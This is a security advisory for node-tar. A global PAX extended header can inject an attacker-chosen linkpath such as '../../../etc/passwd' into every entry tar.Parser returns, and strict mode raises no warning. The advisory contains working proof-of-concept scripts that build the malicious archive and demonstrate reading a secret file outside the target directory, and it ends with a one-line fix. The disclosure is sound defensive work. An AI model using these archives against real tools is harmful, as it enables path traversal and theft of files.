Vulnerability GHSA-ffhw-4r4q-5cwv
Summary
node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation
Details
Summary
A tar archive with a Global Extended Header (PAX type g) with a linkpath field injects that value into every entry returned by tar.Parser , including plain File and Directory entries, with zero warnings under strict: true. This happens because header.js's #slurp() correctly excludes linkpath from global headers, but read-entry.js's #slurp() does not apply the same filter. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.
Proof of Concept
Environment: Node.js v22.23.4, [email protected]. Run: npm install [email protected] && node <script>.js
poc-tar1.js — zero-warning injection via tar.Parser with strict: true
const tar = require('tar')
function padBlock(buf) {
const rem = buf.length % 512
return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])
}
function mkHeader(fields) {
const b = Buffer.alloc(512, 0)
const ws = (s, off, len) =>
b.write(String(s || '').slice(0, len).padEnd(len, '\0'), off, 'latin1')
const wo = (n, off, len) =>
ws(n.toString(8).padStart(len - 1, '0') + '\0', off, len)
ws(fields.path || 'file', 0, 100)
wo(fields.mode || 0o644, 100, 8)
wo(0, 108, 8); wo(0, 116, 8)
wo(fields.size || 0, 124, 12)
wo(Math.floor(Date.now() / 1000), 136, 12)
b.write(' ', 148, 'latin1')
ws(fields.type || '0', 156, 1)
ws(fields.linkpath || '', 157, 100)
b.write('ustar\000', 257, 'latin1')
b.write('00', 263, 'latin1')
let sum = 0
for (let i = 0; i < 512; i++) sum += b[i]
wo(sum, 148, 8)
return b
}
function mkGEX(kvpairs) {
let body = ''
for (const [k, v] of Object.entries(kvpairs)) {
const keyval = ` ${k}=${v}\n`
const len = String(keyval.length).length + keyval.length
body += `${len} ${k}=${v}\n`
}
const bodyBuf = Buffer.from(body, 'utf8')
const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })
return Buffer.concat([hdr, padBlock(bodyBuf)])
}
const archive = Buffer.concat([
mkGEX({ linkpath: '../../../etc/passwd' }),
mkHeader({ path: 'README.md', type: '0', size: 0 }),
mkHeader({ path: 'src/index.js', type: '0', size: 0 }),
mkHeader({ path: 'package.json', type: '0', size: 0 }),
Buffer.alloc(1024, 0),
])
const warnings = []
const parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })
parser.on('entry', entry => {
console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)
entry.resume()
})
parser.on('end', () => {
console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)
})
parser.end(archive)
Expected output:
README.md | File | linkpath: ../../../etc/passwd
src/index.js | File | linkpath: ../../../etc/passwd
package.json | File | linkpath: ../../../etc/passwd
warnings under strict:true: NONE
chain-tar1.js — arbitrary file read via a vulnerable downstream consumer
Models a tool that uses tar.Parser to inspect an archive and then acts on entry.linkpath without checking it:
const tar = require('tar')
const fs = require('fs')
const path = require('path')
const os = require('os')
const tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))
const cwd = path.join(tmpdir, 'extract')
const secret = path.join(tmpdir, 'secret.txt')
fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'db_password=hunter2\napi_key=sk-REAL\n')
// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above
const archive = Buffer.concat([
mkGEX({ linkpath: '../../secret.txt' }),
mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),
Buffer.alloc(1024, 0),
])
const parser = new tar.Parser()
parser.on('entry', entry => {
if (entry.type === 'SymbolicLink') {
const target = entry.linkpath // GEX-injected value
const linkAt = path.join(cwd, entry.path)
fs.mkdirSync(path.dirname(linkAt), { recursive: true })
fs.symlinkSync(target, linkAt)
const resolved = path.resolve(path.dirname(linkAt), target)
console.log('symlink:', linkAt, '->', target)
console.log('escapes cwd:', !resolved.startsWith(cwd))
if (fs.existsSync(resolved))
console.log('READ:', fs.readFileSync(resolved, 'utf8'))
}
entry.resume()
})
parser.end(archive)
control-tar1-extraction-not-vulnerable.js — confirms tar.x() is not affected
The same archive fed to tar.x() throws TAR_ENTRY_ERROR: linkpath escapes extraction directory. The Unpack layer's STRIPABSOLUTEPATH guard blocks the traversal at extraction time.
Suggested Fix
One line in src/read-entry.ts, inside #slurp(), adding the same filter that already exists in src/header.ts:
// before (read-entry.ts)
return !(v === null || v === undefined || (k === 'path' && gex));
// after
return !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));
Related Vulnerabilities
Other vulnerabilities affecting the same packages